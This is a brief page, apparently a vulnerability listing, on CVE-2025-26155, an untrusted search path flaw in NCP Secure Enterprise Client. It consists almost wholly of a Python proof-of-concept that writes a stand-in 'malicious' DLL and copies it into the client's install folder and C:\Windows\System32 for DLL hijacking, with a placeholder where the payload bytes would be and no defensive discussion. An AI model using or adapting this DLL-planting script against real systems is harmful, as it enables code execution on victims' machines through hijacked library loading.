CVE-2025-26155: NCP Secure Enterprise Client 不可信搜索路径漏洞

import os import shutil # 恶意DLL生成示例 malicious_dll = b'MZ...' # 实际的恶意DLL内容 # 创建恶意DLL文件 with open('malicious.dll', 'wb') as f: f.write(malicious_dll) # 将恶意DLL放置在搜索路径中 search_paths = [ 'C:\\Program Files\\NCP\\Secure Enterprise Client\\', 'C:\\Windows\\System32\\' ] for path in search_paths: try: shutil.copy('malicious.dll', path) print(f'Malicious DLL placed in {path}') except: pass